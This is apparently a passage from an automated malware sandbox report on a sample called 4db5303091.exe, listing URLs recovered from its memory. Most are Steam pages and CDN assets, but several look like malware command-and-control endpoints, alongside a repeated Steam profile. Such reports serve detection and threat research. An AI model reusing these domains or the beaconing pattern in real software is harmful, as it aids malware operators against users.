Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=10oP_O2R
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=AeTz
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=9yzMGndrVfY4&l=e
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: 4db5303091.exe, 00000036.00000002.3037268767.0000000000D95000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031333435.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dissapoiznw.store:443/apic
Source: 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: 4db5303091.exe, 00000036.00000002.3037268767.0000000000D95000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031333435.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://licendfilteo.site:443/api
Source: 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/K
Source: 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848108898.0000000000DF9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037268767.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031333435.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api-
Source: 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api1
Source: 4db5303091.exe, 00000036.00000002.3037268767.0000000000D95000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031333435.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/apiB
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: 4db5303091.exe, 00000036.00000002.3037268767.0000000000D95000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031333435.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spirittunek.store:443/api
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037689875.0000000000E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: 4db5303091.exe, 00000019.00000002.2848108898.0000000000E03000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037268767.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031333435.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 4db5303091.exe, 00000036.00000002.3037268767.0000000000D95000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031333435.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
